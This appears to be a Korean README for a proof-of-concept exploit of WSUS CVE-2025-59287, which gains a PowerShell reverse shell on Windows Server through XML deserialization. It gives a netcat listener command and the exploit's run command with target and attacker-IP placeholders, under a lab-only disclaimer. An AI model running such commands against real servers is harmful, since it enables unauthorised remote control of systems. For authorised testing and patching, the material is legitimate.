CVE-2025-59287

WSUS CVE-2025-59287 – XML 역직렬화 RCE(리버스 셸) WSUS CVE-2025-59287을 XML 역직렬화를 통해 악용하여 Windows 리버스 셸을 획득하는 데 초점을 맞춘 PoC입니다. 이 스크립트는 리버스 셸 페이로드만 지원합니다(calc 대체 없음). 대상: WSUS 역할이 설치된 Windows Server 기법: SOAP + ObjectDataProvider 역직렬화 결과: cmd.exe가 PowerShell 리버스 셸을 실행하여 리스너에 연결 면책 조항 랩 환경에서의 공인된 테스트용으로만 사용하십시오. 모든 관련 법률을 준수할 책임은 사용자에게 있습니다. 요구 사항 Python 3.x WSUS 엔드포인트에 대한 네트워크 접근(일반적으로 8530/8531) 사용자 머신의 리스너(예: nc)

리스너 시작

nc -lvnp 4444

익스플로잇 실행

python3 my-CVE-2025-59287.py -u http://TARGET:8531 -l YOUR_IP -p 4444 --debug

-u: WSUS 기본 URL(http/https, 일반적으로 포트 8530/8531) -l: 셸을 수신할 사용자 IP -p: 사용자 리스너 포트 --debug: 상세 출력